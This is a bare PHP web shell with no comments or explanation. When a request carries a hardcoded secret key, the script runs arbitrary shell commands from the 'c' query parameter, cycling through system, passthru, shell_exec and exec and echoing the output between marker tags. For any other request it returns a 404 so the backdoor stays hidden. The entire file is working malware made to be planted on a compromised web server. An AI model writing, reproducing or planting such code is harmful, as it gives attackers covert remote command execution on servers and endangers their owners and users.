<?php $f=['system','passthru','shell_exec','exec'];if(($_GET['key']??'')==='YamiFool1337'){@header('Content-Type: text/o');echo"[B33]";$cmd=$_GET['c']." 2>&1";$done=0;foreach($f as $fn){if(!$done&&function_exists($fn)){if($fn==='shell_exec'||$fn==='exec'){echo $fn($cmd);}else{$fn($cmd);}$done=1;}}if(!$done)echo"[NEX]";echo"[/B33]";}else{http_response_code(404);}?>